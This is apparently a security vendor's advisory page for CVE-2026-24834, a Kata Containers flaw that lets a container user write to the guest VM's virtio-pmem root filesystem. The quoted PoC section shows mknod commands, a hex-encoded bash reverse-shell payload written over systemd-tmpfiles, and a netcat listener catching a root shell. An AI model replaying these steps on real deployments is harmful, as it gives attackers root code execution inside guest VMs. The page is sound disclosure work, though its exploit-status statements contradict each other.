How severe is CVE-2026-24834?

CVE-2026-24834 has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-24834?

CVE-2026-24834 affects the following packages: github.com/kata-containers/kata-containers/src/runtime (Go). Ecosystems affected: Go.

How do I fix CVE-2026-24834?

Update github.com/kata-containers/kata-containers/src/runtime to 0.0.0-20260219090056-6a672503973b or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24834 is resolved across your whole dependency graph.

How do I detect CVE-2026-24834 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kata-containers/kata-containers/src/runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-24834 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-24834?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24834 can be triaged on real exposure rather than presence alone.

Is CVE-2026-24834 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-24834 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-24834?

CVE-2026-24834 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 13th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-24834?

CVE-2026-24834 is classified as CWE-732 (CWE-732), CWE-281 (CWE-281). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-24834 published, and has it been updated?

CVE-2026-24834 was published on February 19, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

CRITICAL severity

CVE-2026-24834 — runtime

CRITICALFix: kata-containers/kata-containers@6a67250

CVE-2026-24834 is a critical-severity (CVSS 9.3) CWE-732 vulnerability in github.com/kata-containers/kata-containers/src/runtime. A fix is available for github.com/kata-containers/kata-containers/src/runtime — see the affected versions and patch details below.

Kata Container to Guest micro VM privilege escalation

Also known asGHSA-wwj6-vghv-5p64GO-2026-4517

Published

Feb 19, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24834.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs13th percentile — riskier than 13% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-24834 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

🐹github.com/kata-containers/kata-containers/src/runtime

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).

Details

Linux virtio-pmem The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the ND_REGION_PAGEMAP and ND_REGION_ASYNC bits are set before the region is created, so nd_region->ro always stays cleared and the block device is left writable.

Later, pmem_attach_disk() wires the region into the block layer with full read/write semantics – the block device operations call pmem_do_write() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimm_check_and_set_ro() would set the disk read-only if the region had been flagged as such, but because virtio_pmem never sets that flag, the helper becomes a no-op.

Cloud-Hypervisor virtio_pmem discard_writes=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAP_PRIVATE rather than MAP_SHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.

Kata /dev/pmem0 Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem* device as its root filesystem. Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.

PoC

When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAP_SYS_ADMIN, but we need CAP_MKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.

To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot. I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.

If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.

root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device:         /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes):       512
Partition start (bytes):   1048576
Filesystem block size:     4096
File path:                 /usr/bin/systemd-tmpfiles
File offset (bytes):       0
Logical block index:       0
Intra-block offset:        0
Physical block index:      40668
→ Absolute pmem offset:    167624704
[*] Raw read (64 bytes at 167624704):
09fdc000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00 |.ELF............|
09fdc010  03 00 3e 00 01 00 00 00  20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020  40 00 00 00 00 00 00 00  48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030  00 00 00 00 40 00 38 00  0d 00 40 00 20 00 1f 00 |[email protected]...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000  23 21 2f 62 69 6e 2f 62  61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010  20 2d 69 20 3e 26 20 2f  64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020  31 32 37 2e 30 2e 30 2e  31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030  26 31 0a 65 78 69 74 20  30 0a                   |&1.exit 0.|
root@ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@localhost:/# 
root@localhost:/# ps auxw
ps auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0  17280  1920 ?        Ss   16:16   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    16:16   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    16:16   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-slub_flushwq]
root           7  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-netns]
root           9  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I    16:16   0:01 [kworker/0:1-events_power_efficient]
root          12  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mm_percpu_wq]
root          13  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_tasks_trace_kthread]
root          14  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_sched]
root          16  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_par_gp_kthread_worker/1]
root          17  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/0]
root          20  0.0  0.0      0     0 ?        S    16:16   0:00 [kdevtmpfs]
root          21  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-inet_frag_wq]
root          22  0.0  0.0      0     0 ?        S    16:16   0:00 [kauditd]
root          23  0.0  0.0      0     0 ?        S    16:16   0:00 [oom_reaper]
root          24  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-writeback]
root          25  0.0  0.0      0     0 ?        S    16:16   0:00 [kcompactd0]
root          26  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-cryptd]
root          27  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kblockd]
root          28  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:1H]
root          29  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:1-events_unbound]
root          30  0.0  0.0      0     0 ?        S    16:16   0:00 [kswapd0]
root          31  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfsalloc]
root          32  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfs_mru_cache]
root          33  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/u257:0]
root          34  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kthrotld]
root          36  0.0  0.0      0     0 ?        S    16:16   0:00 [irq/25-ACPI:Ged]
root          37  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-nfit]
root          38  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/0:2-virtio_vsock]
root          39  0.0  0.0      0     0 ?        S    16:16   0:00 [hwrng]
root          40  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:2-events_unbound]
root          41  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-vfio-irqfd-cleanup]
root          42  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mld]
root          43  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ipv6_addrconf]
root          81  0.0  0.0      0     0 ?        S    16:16   0:00 [jbd2/pmem0p1-8]
root          82  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ext4-rsv-conversion]
root          99  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:3]
root         105  0.0  0.0  62032  2568 ?        Ssl  16:16   0:02 /usr/bin/kata-agent
_chrony      117  0.0  0.0  10692   540 ?        S    16:16   0:02 /usr/sbin/chronyd -F 1
_chrony      120  0.0  0.0  10560   460 ?        S    16:16   0:00 /usr/sbin/chronyd -F 1
root         122  0.2  1.0  44876 31556 ?        S    16:16   0:11 python -m server
message+     124  0.0  0.0   8120   384 ?        Ss   16:16   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         129  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/1]
root         130  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/1]
root         131  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/1]
root         132  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:0-mm_percpu_wq]
root         133  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:0H-events_highpri]
root         134  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:1H]
root         142  0.0  0.0   5400  2220 pts/0    Ss   16:16   0:00 bash -l
root         145  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:1]
root         323  0.0  0.1  13212  3448 pts/0    R+   16:17   0:00 nc -lvp 443
root         329  0.0  0.0   4780   256 ?        Ss   16:31   0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root         330  0.0  0.0   5048   512 ?        S    16:31   0:00 bash -i
root         377  0.0  0.0   7480   256 ?        R    17:33   0:00 ps auxw
root@localhost:/#

Impact

Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/kata-containers/kata-containers/src/runtime`	all versions	0.0.0-20260219090056-6a672503973b`go get github.com/kata-containers/kata-containers/src/runtime@v0.0.0-20260219090056-6a672503973b`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kata-containers/kata-containers/src/runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kata-containers/kata-containers/src/runtime to 0.0.0-20260219090056-6a672503973b or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24834 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24834 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-24834. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). ### Details _Linux virtio-pmem_ The `virtio-pmem` probe path always registers the region as a generic pagema

O3 Security · Impact-Aware SCA

Is CVE-2026-24834 in your dependencies?

O3 Security finds CVE-2026-24834 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVSS Score

9.3/10CVSS v3 base

Vector breakdown

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Raw vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE Classification

CWE-732CWE-732 CWE-281CWE-281

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

kata-containers

6.9/10

Maintained10/10

Code-Review10/10

Dependency-Update-Tool10/10

Branch-Protection5/10

Vulnerabilities0/10

Assessed Sep 21, 2026

Timeline

Disclosed

Feb 19, 2026

Last updated

Aug 12, 2026

Identifiers

CVE-2026-24834

GHSA-wwj6-vghv-5p64

GO-2026-4517

References

Advisoryaccess.redhat.com Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Reportbugzilla.redhat.com Webgithub.com Websecurity.access.redhat.com Packagegithub.com

Related vulnerabilities

This CVE is critical severity; 1 of 8 other CVEs with CWE-732 is rated as high or higher (top: critical).

CVE-2026-59148GHSA-m5w8-4gq2-6f8xGHSA-945v-v9p3-v5xwCVE-2026-50570CVE-2026-13769CVE-2026-58424CVE-2026-58432CVE-2026-59946Browse all CWE-732

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2026-24834 — runtime

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is CVE-2026-24834 in your dependencies?